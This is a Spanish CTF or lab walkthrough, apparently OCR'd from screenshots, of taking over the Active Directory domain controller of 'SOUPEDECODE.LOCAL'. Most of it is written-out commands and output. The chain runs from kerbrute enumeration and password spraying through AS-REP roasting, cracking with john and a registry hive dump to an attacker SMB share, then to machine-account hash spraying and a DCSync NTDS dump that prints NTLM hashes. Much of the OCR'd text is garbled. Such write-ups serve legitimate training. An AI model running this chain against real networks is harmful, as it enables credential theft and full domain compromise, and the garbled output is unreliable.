https://private-user-images.githubusercontent.com/154221253/367761254-ac69d664-356c-4eed-873f-e8e1ca5fb931.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3MzY5MjUsIm5iZiI6MTc0NzczNjYyNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzY3NzYxMjU0LWFjNjlkNjY0LTM1NmMtNGVlZC04NzNmLWU4ZTFjYTVmYjkzMS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDIzNDVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT00ZDExN2FlMjM0N2Q0YWYyZjRiYWE5MmNmMDEwNTJhOWEwMGMyYTI4YzQyMzE4MzEzMTkxZTUzODkyOGMxZTU4JlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.LuLlmFyhQNlkhfxXX6Qbvv-YEmBVYlfJ3Y-WgCQcKm8
https://private-user-images.githubusercontent.com/154221253/367761300-35f9a5af-e37d-4e87-aaed-86cef28770ce.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3MzY5MjUsIm5iZiI6MTc0NzczNjYyNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzY3NzYxMzAwLTM1ZjlhNWFmLWUzN2QtNGU4Ny1hYWVkLTg2Y2VmMjg3NzBjZS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDIzNDVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT1lMDljNDY3ZTY4MTkxYTA2MmNiYmFiMjQwNzZhNjI2YjcyNTlhYjI5MTkwNWEyZDhhZGE2NzFhY2VjODk1OTJmJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.pPR0bh226IfUT472dKfTmbqXcAa6YjGhcT2wjXIFaA4
https://private-user-images.githubusercontent.com/154221253/367761378-8707694a-3395-44c9-85bf-d7bdfcdbe88d.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3MzY5MjUsIm5iZiI6MTc0NzczNjYyNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzY3NzYxMzc4LTg3MDc2OTRhLTMzOTUtNDRjOS04NWJmLWQ3YmRmY2RiZTg4ZC5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDIzNDVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT03ODJlZTk2N2VhZGQ2YjZjODQ4ZjFkMzQwNGE5Zjg4ZTI2ZDYxMDUyZGRjMGFhM2FmODk3YjVmYWU3ZTdkZDMwJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.UjamxLJHAILO47H5g1WxQ3tqkZCc5kBLBqZzQ-pNJNQ

Nos vamos a centrar en kerberos (88), roc (135), smb (445), Idap (389) y
por Ultimo, vemos que tiene habilitado el puerto 5985, winrm.
rting Nmap 7.94SVN ( https://nmap.org ) at 2024-89-16 12:39 CEST
4.14.1.

Nmap scan report for 1
Host is up (0.00052s latency).

STATE SERV VERSION
open imple DNS Plus
open k [ Windows Kerberos (server time: 2024-89-16 19:39:477)
open msrpc crosoft Windows RPC
netbios-ssn crosoft Windows netbios-ssn
Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOC . : Default-First-Site-Name)

Microsoft Windows RPC over HTTP 1.0
tcpwrapped
ldap Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL®., Site: Default-First-Site-Name)
tcpwrapped
http Microsoft HTTPAPI httpd 2.0 (SSDP/UPNP)
Not Found
| _http-server-header: Microsoft-HTTPAPI/2.0
open mc-nmf
open msrpc
open Msrpc crosoft
open msrpc osoft Windows RPC
49674/tcp open ncacn crosoft Windows RPC over HTTP 1.0
496 open msrpc icrosoft Window -
open  msrp C Wind )
; 05: PE: :microsoft:windows

ipt results:
| smb2-security-mode:
3:1:1:

|
|
|
|
| ;
| s _date: N/A

| _nbst NetBIOS name: DCO1, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:67:e6:33 (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 94.42 seconds

Lo primero que debemos hacer es identificar el dominio y anadirlo en el
fichero /etc/hosts.

crackmapexec smb 14.14.1.28

smb 14.14.1.29
4.1 445 Dce1 Se 262 283 64 | -H 1 (domain:SOUPEDEC CAL) (signing:Ti

for IPvE capable hosts
oopback

Tratamos de enumerar usuarios mediante LDAP, rpcclient o smb con null
sessions o incluso con la herramienta kerbrute para ver usuarios validos del
dominio.

kerbrute -domain SOUPEDECODE.LOCAL -dc-ip 14.14.1.29 -users
/usr/share/seclists/Usernames/xato-net-10-million-usernames-
dup.txt

are/seclists/U ames/xato-net-18-million-usernames-dup.tx

Valid user admin

Valid user arlie
Blocked/Disabled user => guest
Valid r == Charlie

Valid user administrator
Valid us > Admin



https://private-user-images.githubusercontent.com/154221253/367761480-660fe9ed-3d96-467c-bf26-70bba92406f5.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3MzY5MjUsIm5iZiI6MTc0NzczNjYyNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzY3NzYxNDgwLTY2MGZlOWVkLTNkOTYtNDY3Yy1iZjI2LTcwYmJhOTI0MDZmNS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDIzNDVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT0xNDU3NDRhZTVlMmY3NzdiMTY2ZjE1N2QxOTVlNDM2ZjZjY2EzNGMyYmJhMTgyZTU3NmU4N2ZjNjgwNzZkNTUwJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.0d3FpNu0Z0ZHOWeVBxfxmbXw31gg0ng2aaKvxwiZMpk
https://private-user-images.githubusercontent.com/154221253/367761629-be201d57-2415-4f50-bc6b-163856d703ee.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3MzY5MjUsIm5iZiI6MTc0NzczNjYyNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzY3NzYxNjI5LWJlMjAxZDU3LTI0MTUtNGY1MC1iYzZiLTE2Mzg1NmQ3MDNlZS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDIzNDVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT02OGM4M2U1YzI4YTFmZTY4MDI2OTJjNDgzYWQ2YzExZjkzZWRiNGFhNzg1NzI5YWUyOTZmN2YxZmI2NmY1MGFkJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.nNfj2Waa2iai17fyRc9KEtftEyJyUiPCZT2eflxLr8E
https://private-user-images.githubusercontent.com/154221253/367761686-bf34ed20-30b4-49f6-912a-56164ed44f3e.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3MzY5MjUsIm5iZiI6MTc0NzczNjYyNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzY3NzYxNjg2LWJmMzRlZDIwLTMwYjQtNDlmNi05MTJhLTU2MTY0ZWQ0NGYzZS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDIzNDVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT0zZDc3NjFhZjU0MTc3MTY3NGVjYzViOTEwZWY3OTBkOWMyNTBkNzZiY2MzZTc3MmQwMGQyMGNmY2E5MmU2ZTNmJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.R2N00laylEWncJVRQiJgNn6kPvsBS7xyA3w8NBICTF8

2. Explotacion

crackmapexec smb 14.14.1.29 -u valid_ADUsers.txt -p
valid_ADUsers.txt --no-brute

ain:SOUPEDECODE.LOCAL) (signing:True)

ON_FAILURE

Tenemos un usuario valido:
charlie:charlie
Enumeramos carpetas compartidas y no encontramos nada raro.

crackmapexec smb 14.14.1.29 -u 'charlie' -p 'charlie' -shares

smb 14.14.1.29 -u
4.1, 5 DCel %64 (name:DCO1) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBvl:False)
pcel PED -LOCAL 2 ie

'14.14.1.29 -
1. 44! 4 (name:DCO1) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBvl:False)

ADMINS Remote Adain

cs Default share

IPCS Remote IPC
METLOGON Logon server share
SYSVOL Logon server share

Nos conectamos por rpcclient para ver si podemos enumerar todos los
usuarios del domino.

rpcclient -U ‘charlie’ 14.14.1.29

enumdomusers

cat AD Users.txt | sed 's/\[/ /g' | sed 's/\]1/ /g' | awk '{print
$2}' > valid ADUsers.txt

> -U 14.14.1.29
Password for [WORKGROUP\charlie]:
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[bmark0@] rid:[0x44f]
user:[otaral] rid:[0x450]
user:[kleo2] rid:[0x451]
user:[eyara3] rid:[0x452]
user:[pquinnd] rid:[0x453]
user:[jharper5] rid:[0x454]
user:[bxenia6] rid:[0x455]
user:[gmona7] rid:[0x456]
user:[oaaron8] rid:[0x457]
user:[pleo9] rid:[0x458]
user:[evictor10] rid:[0x459]
user:[wreed11] rid:[0x45a]
user:[bgavin12] rid:[0x45b]
user:[ndelial3] rid:[0x45c]
user:[akevin14] rid:[0x45d]
user:[kxenial5] rid:[0x45e]
user:[ycody16] rid:[0x45f]
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Tenemos todos los usuarios del dominio, pero para ver un poco mejor la
estructura de este AD, vamos a utilizar las herramientas bloodhound y
ldapdomaindump

bloodhound-python -d soupedecode.local -v --zip -c All -ns
14.14.1.29 -u charlie -p 'charlie' -dc dcol

-d soupedecode.local -v --zip -c ALl -ns 14.14.1.29 -u charlie -p -dc dcO1
: Authentication: username/password
: Resolved collection methods: session, dcom, psremote, objectprops, localadmin, container, rdp, group, acl, trusts
: Using DNS to retrieve domain information
: Querying domain controller information from DNS
: Using domain hint: soupedecode.local
Traceback (most recent call last):
File "/usr/bin/bloodhound-python”,
Sys. ex\t(lo‘d d

File /usvﬂl\b/pylhon3/d\ -packages/bloodhound/__ vy , Line 388, in main
ad.dns_resolve(domain=args.domain, options=args)
File “/usvﬂl\b/py(hon3/dl -packages/bloodhound/ad/doma line 719, {n dns_resolve
e(’ )

q

File "/usr/lib/python3/dist-packages/
return self.resolve(

File "/usr/lib/python3/dist-packages/dns/resolver.py”, line 1321, in resolve
timeout

File "/usr/lib/python3/dist-packages/dns/resolve y", line 1875, {n _compute_timeout
raise LifetimeTimeout(timeout=duration, errors=errors)

dns.resolver.LifetimeTimeout: The resolution lifetime expired after 3.187 seconds: Server D053:14.14.1.29@53 answered The DNS operation timed out.

~ DC02 X 4s

Nos aparece un error, y para solucionarlo haremos o mismo que para la
maquina DCOT.

Vemos que nos aparece un error DNS, vamos a intentar solucionarlo. Para
ello vamos a levantar un DNS server con la herramienta dnschef.

git clone https://github.com/iphelix/dnschef.git

cd dnschef

sudo python3 dnschef.py --fakeip 14.14.1.29
bloodhound-python -d soupedecode.local -v --zip -c All -ns
14.14.1.29 -u charlie -p 'charlie' -dc dcel

dnschef.py --fakeip 14.14.1.29
[sudo] password for kesh:

| version 0.4 | | /_:I

B I

2 __|/ 2NN 1
| \ (__ [ -
|5=2 5 ) P4 R

|
|
1phe11x@thesprawl.org

DNSChef started on interface: 127.0.0.1

Using the following nameservers: 8.8.8.8

Cooking all A replies to point to 14.14.1.29

127.0.0.1: proxying the response of type 'SRV' for _ldap._tcp.pdc._msdcs.soupedecode.local

127.0.0.1: proxying the response of type 'SRV' for _ldap._tcp.gc._msdcs.soupedecode.local
127.0.0.1: proxying the response of type 'SRV' for _kerberos._tcp.dc._msdcs.soupedecode.local
127.0.0.1: cooking the response of type 'A' for dc01 to 14.14.1.29

127.0.0.1: cooking the response of type 'A' for dc01 to 14.14.1.29

127.0.0.1: cooking the response of type 'A' for DCO1.SOUPEDECODE.LOCAL to 14.14.1.29

AD_Users.txt credentials.txt scan.txt valid_ADUsers.txt

Ya tenemos el reporte de bloodhound.
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Abrimos bloodhound, iniciamos la consola de neo4j y subimos el archivo
.Zip al bloodhound.

Oatabas 2
s
= ¢
- 3
L] e
4
N
% i
-
-
-
"

La ofra herramienta que podemos utilizar es Idapdomaindump.

mkdir ldump

cd ldump

ldapdomaindump -u soupedecode.local\\charlie -p 'charlie’
14.14.1.29

Ahora, para ver el contenido montamos un servidor http con Python.

sudo python3 -m http.server 80

o *#a

THM = Exploit-DB  HackTricks (f) PayloadsAllTheThings ) RevShells

" "":"'"rh:“:‘"‘ |Nlmuu: Flags [ptLasiset] SID | description

“Awid troveler and | [0

OG/15/24 0TG24 010101 NORMAL ACCOUNT.  D&15724

20:0501 01943 00.00:00 DONT EXPIRE PASSWD 20.05.01 L0 Photegraphy

enibasiast

NORMAL ACCOUNT "
10 | DONT EXPIRE PASSWD 2

4
1

NORMAL ACCOUNT 1
DON E PASSWD  20.05:01
]

1

1

1

DONT E

24 L1 NORMAL _AC
43 00-00:00 |I

OTGZ4 DLAO11 | NORMAL ACCOUNT. 0641572
00:19:43 00-00:00 | DONT EXPIRE PASSWD | 20.05:0

TG4 DLOIML | NORMAL ACCOUNT, :
:19:43 00-00.00 | DONT EXPIRE PASSWD 2

OTGZ4 DLAO11 | NORMAL ACCOUNT. .
43 00:00:00 | DONT EXPIRE PASSWD 2

24| OT/0G24 DLAO1M1 | NORMAL ACCOUNT, :
119:43 00-00.00  DONT EXPIRE PASSWD 2

OTGZ4 DLAO11 | NORMAL ACCOUNT. 06115
3:19:43 00-00:00 | DONT EXPIRE PASSWD | 20.05:0

OG/15024 | 0710624 OLIOL/DL | NORMAL AC 0615724
20:05:01 | 05 ||| 00-00:00 |x|\|1\|l|l I\\\vn)

Cylum

21


https://private-user-images.githubusercontent.com/154221253/367763996-b400bdee-827a-4300-8e57-d7d501b5af59.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3MzY5MjUsIm5iZiI6MTc0NzczNjYyNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzY3NzYzOTk2LWI0MDBiZGVlLTgyN2EtNDMwMC04ZTU3LWQ3ZDUwMWI1YWY1OS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDIzNDVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT01MzM0Njk3ZWYyODg0N2FmZTEyODRlMjVjOTMyNzU0MTA5MjU4NjczZmFlZjYzMzg2NDY1MmJkMzZkM2FkMjQxJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.jLxyuc3S0H1roCA8Z9MQv1CWg8KOqN7UcAt_J-sEX8E
https://private-user-images.githubusercontent.com/154221253/367764191-d9f303be-7d36-41fb-bfbb-b88da66a635a.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3MzY5MjUsIm5iZiI6MTc0NzczNjYyNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzY3NzY0MTkxLWQ5ZjMwM2JlLTdkMzYtNDFmYi1iZmJiLWI4OGRhNjZhNjM1YS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDIzNDVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT05Nzc3M2ZmYWE3NTYwYjc0ZjlmOTQxZTQ2NjQ2YzljZWE2ZGY1MjFlNTIxNTliMmE5NGUwMWM0NjUyYzM3ZDQ5JlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.WdXkgevcWJk9AwcWRWxjS--6gm1rKP80awlLnZ0F2aI
https://private-user-images.githubusercontent.com/154221253/367764244-c9267556-6381-457b-b554-7d09a2f758fb.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3MzY5MjUsIm5iZiI6MTc0NzczNjYyNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzY3NzY0MjQ0LWM5MjY3NTU2LTYzODEtNDU3Yi1iNTU0LTdkMDlhMmY3NThmYi5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDIzNDVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT1mNGE3Y2QzNTk0MzMzZGMxNzFhNjUwNzRkOWY5MmUwNjNmYjI5NThkMWRhNTQ4YmNiNDNjZTEwNDM4OGI3MzJlJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.5CGPw3nqxVkSDIdgy82zcL4jjh7NDn9Ht-86B6K8tc4

Con esta herramienta podemos buscar informacion para realizar una
escalada de privilegios 0 un movimiento lateral de una forma mas visual.

Backup Operalors

(5] I name EAM Name Created on_| Changed on_ | lasilsgon Hlags
T rT) 070872

o152 o7 2 NORMAL_ACCOUNE, ONT_FXPIRE_PASSWD. D720 [ — W
. b iy oy DONT REQ FREMITH o L] 1142 Vobumtess teacher sad education sdvcats

Podemos ver algo interesante, el usuario zximena448 pertenece al grupo

de backup operators, por lo que conseguir este usuario puede ser
interesante.

3. Escalada de Privilegios

Ahora en bloodhound vamos a buscar mds informacion, por ejemplo
vamos a listar a ver si hay usuarios kerberoasteables o AS-REP roasteables.

A H T
Analysis

Find All Paths trom Domain Users 1o High Value Targets
Find Workstations where Domain Users can RDP

Find Servers where Domain Users can RDP

ngerous Privieges for Domain Users Groups

Find Domain Admin Logons to non-Domain Controllers

Find Kerberoastable Members of High Value Groups

List all Kerberoastable Accounts

Find Kerberoastable Users with most privileges

Find AS-REP Roastable Users (DontRegPreAuth) DXMENE A REONRENECONETT CAE

Shortest Paths 1o Unconstrained Delegation Systems
Shortest Paths from Kerberoastable Users

Shortest Paths to Domain Admins from Kerberoastabie Users
Shortest Path from Owned Principals

Shortest Paths to Domain Admins from Owned Principals

Shortest Paths to High Value Targets

Parece ser que el usuario zximena448 es vulnerable a un ataque as-rep

roasting, que a su vez, hemos visto que este usuario pertenece al grupo
backup operators.
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impacket-GetNPUsers SOUPEDECODE.LOCAL/ -usersfile
valid ADUsers.txt -outputfile hashes.asreproast

Tenemos el hash NTLMv2 del usuario zximena448, ahora vamos a
crackearlo con johntheripper.

john --wordlist=/usr/share/wordlists/rockyou.txt
hashes.asreproast

--wordlist=/usr/share/wordlists/rockyou.txt hashes.asreproast
£ i ing
S5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])

0C/s 123456..bethany

Tenemos otro usuario;
zximenad48:internet

Listamos carpetas compartidas y vemos si tenemos acceso mediante
winrm, pero no hay suerte, lo Unico que tenemos permisos para leer y
escribir en la carpeta C, y lectura sobre admin.

+ menadds: internet
[+] Enumerat
Remark

ADMINS Remote Admin

s READ,WRITE Default share

IPCS READ Remote IPC
NETLOGON READ Logon server share
SYSVoL READ Logon server share

Wi ver 2022 Bulld 20348 (name:DC1) (domatn:SOUPEDECODE.LOCAL)
3 4.1.29:

) 1.29: n
SOUPEDECODE. LOCAL\ a448: internet

Los miembros del grupo BackUp Operators pueden realizar copias de
seguridad vy restaurar todos los archivos de un ordenador,
independientemente de los permisos que protejan dichos archivos. Los
operadores de copia de seguridad también pueden iniciar sesidon vy
apagar el ordenador. Este grupo no puede ser renombrado, borrado o
eliminado. Por defecto, este grupo no tiene miembros y puede realizar
operaciones de copia de seguridad y restauraciéon en los controladores
de dominio.

Vamos a tratar de extraer la SAM. El administrador de cuentas de
seguridad o SAM (del inglés Security Account Manager) es una base de
datos almacenada como un fichero del registro en Windows NT, Windows
2000, y versiones posteriores de Microsoft Windows.
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Almacena las confrasenas de los usuarios en un formato con hash
(seguro, cifrado).

Para ello vamos a ufilizar la herramienta backup_dc_registry, ya que no
tenemos acceso a la maquina y hay que hacerlo de forma remota.

git clone https://github.com/horizon3ai/backup dc registry.git
cd backup_dc_registry

python3 reg.py zximena448:'internet'@l4.14.1.29 backup -p
'\\14.14.1.100\share’

Tenemos que levantar con impacket en otra terminar un smbserver.

impacket-smbserver share $(pwd) -smb2support

README.md ba:

y . imenadds [ 4.1.29 backup -p
[suda] p: 7 0 H

Impacket v@.

[-] SMB ¢ onError: @ PIPE_NOT_AVAILABLE - An instance of a named pipe cannot be found in the listening state.
» re : 1 backup -p
Impack

sha
6.12.0.devl - C

e parsed
added for UUID 4B324FC8-1678-8103-1 47BFGEE1BE V:3.0
added for UUID 6BFFD@98-A112-36108-983 3FBTE345A V:1.0

arsed

THENTICATE_MESSAGE (\,
Cé1\ authenticated

Ahora ya tenemos lo necesario para dumpear la SAM del DC.
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impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM
LOCAL

Podemos observar que tenemos algunos hashes NTLMv 1, probamos con
el Administrator pero no hay éxito.

crackmapexec smb 14.14.1.29 -u 'Administrator' -H
'209c6174dad90caeb422f3fa5a7ae634"

smb 14.14.1.29 -u -
14.14.1.29 445 DCe1 Windows Server 2022 Build 20348 x64 (name:DC81) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBvi:False)
14.14.1.29 445 ) SOUPEDECODE . LOCAL\Admintistrator:269¢6174dad98caebd2213fa5a7ae634 STATUS_LOGON_FAILURE

Pero como podemos ver en el dump, vemos que hay otros hashes, guest,
DefaultAccount y el de MACHINE_ACC.

Una Machine Account o cuenta de maqguina es un tipo especial de
cuenta en un dominio de Active Directory (AD) que representa un equipo
(o servidor) que se une al dominio. Estas cuentas son fundamentales para
la autenticacion y la seguridad de los equipos en redes administradas
centfralmente, como los dominios de Windows.

Para ver estas machine accounts, las podemos ver con el dump de
ldapdomaindump.
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Como podemos observar hay un montdn, por lo que nos vamos a
guardar los SAM name y vamos a realizar un hash spraying a todas estas
cuentas de maquina Para ello, la herramienta ldapdomaindump, ha
generado varios ficheros .grep, lo que haremos serd sacar esa columna
con el siguiente comando;

cat domain_computers.grep | awk '{print $2}' > machine acc.txt

Ahora con cme, vamos a ver si hay algun credencial valido.

crackmapexec smb 14.14.1.29 -u machine_acc.txt -H
'Ocea7e533edfd7fb48f91fc6e6b8a8bf’

smb 14.14.1.29 -u machine acc.txt -H
4.1.29 445 DCe1 Windows Server 2 Bulld 20348 x64 (name:DCO1) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBvi:False)
445 DCe1 SOUPEDECODE . AccountName:@cea7e533edfd7fbd8f91fc6e6bBaBbf STATUS_LOGON_FAILURE
445 DCe1 SOUPEDECODE . - Bcea7e533edfd7fbd8f91fc6ebbBa8bf STATUS_LOGON_FAILURE
445 DCo1 SOUPEDECODE . L Bcea7e533edfd7fb48f91fc6ebbB8a8bf STATUS_LOGON_FAILURE
445 DCo1 SOUPEDECODE. L -88%:8ceale53 d7fb48f91fc6e6b8aBbf STATUS_LOGON_FAILURE
445 DCo1 SOUPEDECODE. - 8 33e¢ D489 a8bf STATUS_LOG I
DCe1 SOUPEDECODE. ce 7fb48f91fcbeb 3bf STATUS_LOGON_FAILURE
445 DCe1 SOUPEDECODE.
445 DCo1 SOUPEDECODE . f
445 DCo1 SOUPEDECODE . - cea b STATUS_LOG

445 DCo1 SOUPEDECODE . -8 C 33ed Bbf STATUS_LOGON_FAILURE
445 DCo1 SOUPEDECODE . LOCAL\PC~ C STATUS_LOGON_FAILURE
445 DCo1 SOUPEDECODE . LOCAL\PC- c dfd71b48 a STATUS_LOGON_FAILURE
445 Dce1 SOUPEDECODE . LOCAL\PC~ c dfd7 9 STATUS_LOGON_FAILURE

445 DCe1 SOUPEDECODE . LOCAL\PC- 8¢ 53 d7 f91fc 8aBbf STATUS_LOGON_FAILURE

445 DCo1 SOUPEDECODE . - Bcea7e533edfd71b481911c6e6bBaBbf STATUS_LOGON_FAILURE

445 DCo1 SOUPEDECODE . - Bcea7e533edfd71b481911c6e6bBadbf STATUS_LOGON_FAILURE

445 DCe1 SOUPEDECODE . - Bcea7e533edfd7fbd8f91fc6e6bBas8bf STATUS_LOGON_FAILURE

445 DCe1 SOUPEDECODE . LOCAL\PC- Bcea7e533edfd7fbd8f91fc6e6bBa8bf STATUS_LOGON_FAILURE
DCo1 [+] SOUPEDECODE.LOCAL\DCO1$:0cea7e533edfd7fbd8f91fc6ebbBadbf

Con estas credenciales vamos a realizar un ataque dcsync attack para
dumpear todo el NTDS del AD.
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crackmapexec smb 14.14.1.29 -u 'DCO1$' -H

'@cea7e533edfd7fb48f91fc6e6b8a8bf"

-ntds

smb 14.14.1.29 -u --ntds

445
445
445 S, th

445 J Build 20348
0 Bc

d take a while so go grab

(SMBv1:False)

coul go gr a redbull...
445 Administrator:500:aad3b435b51404eeaad3bd35b51404ee:8982babd4da89d33210779a6¢5b078bd
445 Guest:501:aad3b435b51404ecaad3b435b51404ee:31d6cfe0d16ae931b73¢59d7¢0c089¢0:
445 krbtgt:502:aad3b435b51404eeaad3b435b51404¢ee: fb9d84e61e78c26063aced3bf9398ef

445
445
445

soupedecode.
soupedecode.
soupedecode.

local\bmark0:1103:aad3b435b51404eeaad3b435b51404¢ee:d72¢66e955a6dc0fe5e76d205a630b15: : :

local\otaral:1104:aad3b435b51404eeaad3bd35b51404ee:ee98f16e3d56881411fbd2a67a5494c6
local\kleo2:1105:aad3b435b51404eeaad3b435b51404ee:bda63615bc51724865a0cd0bafd9ecid:

445 soupedecode.local\eyara3:1106:
445 soupedecode.local\pquinnd:1107
